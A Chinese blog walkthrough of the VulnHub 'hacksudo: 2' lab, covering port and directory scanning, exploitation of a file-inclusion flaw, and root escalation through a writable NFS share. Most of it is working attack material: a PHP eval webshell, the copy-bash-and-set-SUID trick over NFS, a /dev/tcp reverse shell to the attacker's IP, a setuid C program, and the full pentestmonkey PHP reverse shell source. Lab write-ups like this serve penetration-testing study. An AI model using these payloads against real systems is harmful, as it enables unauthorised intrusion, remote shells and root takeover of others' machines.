vulnhub靶场之hacksudo: 2 (HackDudo)靶机-NFS提权

配置环境:靶机:hacksudo: 2 (HackDudo),他是ova格式的,我这里直接导入vm显示错误,于是就用virtualbox来打开,配置vm的kali为同一网段,

(1)靶机设置为仅主机模式

(2)在自己的windows主机上面看vbox网卡(ipconfig /all),可以看到为192.168.56.0/24网段

(3)在vm中的编辑->虚拟网络编辑器中配置vbox的网卡

(4)配置kali攻击机的网卡为VMnet0

(5)进入kali,输入ifconfig可以看到还没有ip

复制代码
接下来手动配置ip为192.168.56.188,就OK了
(1)sudo ip addr add 192.168.56.188/24 dev eth0
(2)sudo ip link set eth0 up 
(3)sudo ip route add 192.168.56.0/24 dev eth0

接下来就可以正常渗透了

靶机实战

一、nmap扫描

(1)发现主机

复制代码
nmap -sn 192.168.56.0/24
#-sn表示用ping来发现主机

可以看到主机为192.168.56.101(这个192.168.56.100是vbox网卡服务器的地址)

(2)进行更详细的扫描来发现靶机开放的端口

复制代码
nmap  -sV -p- -A 192.168.56.101

可以看到有一个开放的80端口,对应apache服务,还有一个2049的nfs服务

二、先看http服务

(1)访问192.168.56.101,页面如下

(2)gobuster扫描目录

复制代码
gobuster dir -x php,bak,html,txt -u http://192.168.56.101/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt

可以看到扫出来了test.html,info.php,game.html,file.php等

(3)去访问file.php

页面提示file access(文件访问),猜测这里存在文件包含漏洞。因此使用ffuf进行爆破,命令:

复制代码
ffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt -u 'http://192.168.56.101/file.php?FUZZ=../../../../../etc/passwd' -fs 238

成功获得参数file

(4)尝试利用文件包含漏洞并且成功了

发现用户hacksudo

三、NFS服务

(1)枚举nfs共享目录

NFS,全称Network File System,即网络文件系统。最大的功能是通过网络,让不同的机器、不同的操作系统可以共享彼此的文件。可以理解为本地多了一个虚拟磁盘。那我们就查询下NFS服务器的全部共享目录

复制代码
showmount -e 192.168.56.101

发现共享目录:/mnt/nfs *,*表示具有所有权限(读写,ro表示只读)

(2)更详细的nfs信息获取(端口 111 是 NFS 服务绑定的 rpc 端口,可以通过他来查询nfs信息)

(3)挂载NFS共享

【1】攻击机kali上面创建一个挂载点,以便共享

复制代码
mkdir /mnt/nfs

【2】尝试挂载(要root权限),从上面nmap收集的信息可以看出来rpcinfo处显示版本3和4活跃

复制代码
sudo mount -o rw,vers=3 192.168.56.101:/mnt/nfs /mnt/nfs
#若3不支持,再试4(成功就不会报错)
注:可用 df -h 查看所有挂载点,看 172.16.1.175/mnt/nfs 是否成功挂载到本地
[2]还有一个挂载命令,它会尝试挂载默认可用的最新版本
sudo mount -t nfs 192.168.56.101:/mnt/nfs /mnt/nfs -vvvv 
(-vvvv可用于详细输出错误信息)

(4)提权

复制代码
先进入到共享文件夹/mnt/nfs中,ls -alhi看一下权限,可以看到靶机当前用户对/mnt/nfs文件夹的权限为r-x,即没有写入权限,要写入恶意脚本就要改变一下权限
(1)chmod 777 /mnt/nfs
(2)因为这里采用的是复制靶机bash,将其所有权改为root:root,并为其赋予SUID权限,最后执行suid bash二进制文件以获得root的提权方法
(不复制攻击机上的shell是因为可以会出现内核与bash版本不同的情况而失败),所以先创建一个php马,结合之前的文件包含来连蚁剑,再通过蚁剑复制靶机的shell

(1)写马

复制代码
echo '<?php @eval($_POST['doll']);?>' > /mnt/nfs/doll.php

蚁剑再连接http://192.168.56.101/file.php?file=/mnt/nfs/doll.php,密码doll

(2)蚁剑中复制靶机shell

复制代码
cp /bin/bash /mnt/nfs/bash 

(3)在攻击机上面改变shell所有者,加s位

复制代码
sudo chown root:root bash
sudo chmod +s bash

(4)蚁剑(以及大多数 Webshell 管理工具)在执行命令时,通常是调用系统的执行函数(如 PHP 的 exec() 、 shell_exec() ,或 Python 的 os.system() )。这些函数执行完一条命令后就结束了。当你输入 /mnt/nfs/bash -p 时,系统确实启动了一个拥有 Root 权限的 Bash。但是,这个 Bash 启动后,发现没有"终端"(TTY)跟它交互,或者父进程(Web 服务器)不允许它接管输入输出流,于是它立刻就退出了。

蚁剑随后又回到了原来的 www-data 权限环境。即使 Bash 启动了,Webshell 的每一次请求通常都是独立的。你在"命令执行"框里输入提权命令,那个进程变成了 Root,但蚁剑连接的那个"主进程"依然是 www-data 。

但可以通过一下-c,-p来执行root shell

复制代码
/mnt/nfs/bash -p -c "whoami" 
#这里一定要指定/mnt/nfs/bash,因为bash在环境变量里不指向/mnt/nfs/bash,当然这里也可以进行环境变量劫持
#export PATH=/mnt/nfs:$PATH

可以看到确实提权成功了,接下来可以反弹shell,攻击机开启监听,蚁剑执行:

复制代码
/mnt/nfs/bash -p -c '/bin/bash -i >& /dev/tcp/192.168.56.188/4444 0>&1'

我一开始以为反弹回来的shell就为root权限,但错了,于是就去查了下资料

复制代码
权限继承原则:
反弹 Shell 的本质是让目标机器上的某个程序(在这里是 Web 服务)去连接你的机器,并把命令行的控制权交给你。
攻击源:你的 Shell 是由 Web 服务(如 Apache 或 Nginx)触发的。
运行身份:Web 服务在 Linux 系统中通常以  www-data  用户身份运行。
结果:因此,它"生"出来的子进程(也就是你的反弹 Shell)自然也就继承了  www-data  的权限,而不是  root 

没关系,再执行一遍/mnt/nfs/bash -p即可

法二:gcc编译c文件

或者编写c文件进行提取,不过也需要对应的库等,应为新的gcc编译与旧版本可能不兼容

cpp 复制代码
#include<stdlib.h>
#include<unistd.h>
​
int main()
{
setuid(0);
system("id");
system("/bin/bash -p");
}

解决办法:

cpp 复制代码
(1)cat /etc/issue查看系统版本(如ubuntu 20.04)
(2)攻击机docker拉取镜像编译
# 假设靶机是 Ubuntu 20.04
docker run -v $(pwd):/src -it ubuntu:20.04
# 进入容器后
apt update && apt install gcc
gcc /src/root.c -o /src/root
注:其实这里可以直接写php反弹shell的脚本,不需要蚁剑来连接/usr/share/webshells/php/php-reverse-shell.php
cpp 复制代码
vim sb.php
#写入下面的内容,再去访问http://192.168.56.101/file.php?file=/mnt/nfs/sb.php,就会执行sb.php脚本内容,反弹shell
php 复制代码
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
//
// This tool may be used for legal purposes only.  Users take full responsibility
// for any actions performed using this tool.  The author accepts no liability
// for damage caused by this tool.  If these terms are not acceptable to you, then
// do not use this tool.
//
// In all other respects the GPL version 2 applies:
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License version 2 as
// published by the Free Software Foundation.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License along
// with this program; if not, write to the Free Software Foundation, Inc.,
// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
//
// This tool may be used for legal purposes only.  Users take full responsibility
// for any actions performed using this tool.  If these terms are not acceptable to
// you, then do not use this tool.
//
// You are encouraged to send comments, improvements or suggestions to
// me at pentestmonkey@pentestmonkey.net
//
// Description
// -----------
// This script will make an outbound TCP connection to a hardcoded IP and port.
// The recipient will be given a shell running as the current user (apache normally).
//
// Limitations
// -----------
// proc_open and stream_set_blocking require PHP version 4.3+, or 5+
// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.
// Some compile-time options are needed for daemonisation (like pcntl, posix).  These are rarely available.
//
// Usage
// -----
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.
​
set_time_limit (0);
$VERSION = "1.0";
$ip = '127.0.0.1';  // CHANGE THIS
$port = 1234;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
​
//
// Daemonise ourself if possible to avoid zombies later
//
​
// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies.  Worth a try...
if (function_exists('pcntl_fork')) {
    // Fork and have the parent process exit
    $pid = pcntl_fork();
    
    if ($pid == -1) {
        printit("ERROR: Can't fork");
        exit(1);
    }
    
    if ($pid) {
        exit(0);  // Parent exits
    }
​
    // Make the current process a session leader
    // Will only succeed if we forked
    if (posix_setsid() == -1) {
        printit("Error: Can't setsid()");
        exit(1);
    }
​
    $daemon = 1;
} else {
    printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}
​
// Change to a safe directory
chdir("/");
​
// Remove any umask we inherited
umask(0);
​
//
// Do the reverse shell...
//
​
// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
    printit("$errstr ($errno)");
    exit(1);
}
​
// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);
​
$process = proc_open($shell, $descriptorspec, $pipes);
​
if (!is_resource($process)) {
    printit("ERROR: Can't spawn shell");
    exit(1);
}
​
// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
​
printit("Successfully opened reverse shell to $ip:$port");
​
while (1) {
    // Check for end of TCP connection
    if (feof($sock)) {
        printit("ERROR: Shell connection terminated");
        break;
    }
​
    // Check for end of STDOUT
    if (feof($pipes[1])) {
        printit("ERROR: Shell process terminated");
        break;
    }
​
    // Wait until a command is end down $sock, or some
    // command output is available on STDOUT or STDERR
    $read_a = array($sock, $pipes[1], $pipes[2]);
    $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
​
    // If we can read from the TCP socket, send
    // data to process's STDIN
    if (in_array($sock, $read_a)) {
        if ($debug) printit("SOCK READ");
        $input = fread($sock, $chunk_size);
        if ($debug) printit("SOCK: $input");
        fwrite($pipes[0], $input);
    }
​
    // If we can read from the process's STDOUT
    // send data down tcp connection
    if (in_array($pipes[1], $read_a)) {
        if ($debug) printit("STDOUT READ");
        $input = fread($pipes[1], $chunk_size);
        if ($debug) printit("STDOUT: $input");
        fwrite($sock, $input);
    }
​
    // If we can read from the process's STDERR
    // send data down tcp connection
    if (in_array($pipes[2], $read_a)) {
        if ($debug) printit("STDERR READ");
        $input = fread($pipes[2], $chunk_size);
        if ($debug) printit("STDERR: $input");
        fwrite($sock, $input);
    }
}
​
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
​
// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
    if (!$daemon) {
        print "$string\n";
    }
}
​
?> 
补充:查看靶机NFS服务器的配置(是否开启了no_root_squash)
php 复制代码
cat /etc/exports

或者上传工具LinPEAS,/linpeash.sh 即可执行脚本。运行完成后,我们需要找到 NFS 共享设置,可以通过滚动到 Software Information 部分,然后向下滚动到 Analyzing NFS Exports Files 来找到该设置。

参考文章:upfine的博客

Linux 提权-NFS 共享 - 扛枪的书生 - 博客园(讲的很好)

相关推荐
ai大模型中转api测评2 小时前
GPT-5.5 性能深度实测:从 FrontierMath 4 基准看 API 聚合平台在多模态架构中的响应优化
gpt·架构·php
QH139292318802 小时前
Rohde & Schwarz ZNA43矢量网络分析仪的使用方法
开发语言·php
KivenMitnick2 小时前
CialloVOL 1.2:便捷好用的轻量化内存取证分析平台
windows·python·安全·网络安全·flask·系统安全·安全威胁分析
爱看科技3 小时前
量子与深度学习深度交融:微美全息(NASDAQ:WIMI)新型网络铸就效率精度双典范
网络·深度学习·量子计算
♛识尔如昼♛3 小时前
C 基础(15) - 位操作
c语言
念恒123063 小时前
进程控制---进程程序替换
linux·c语言
网络安全许木3 小时前
自学渗透测试第27天(基础补漏与工具的快捷键)
网络安全·渗透测试
锐速网络3 小时前
渗透测试中如何验证漏洞真实存在
web安全·网络安全·渗透测试·漏洞复现·sql注入·文件上传漏洞·漏洞验证
科技风向标go3 小时前
2026 年中国消费级监控售后现状与行业发展趋势研究;安防监控怎么选?认准全国联保 + 真质保更安心
大数据·网络·人工智能·监控·户外安防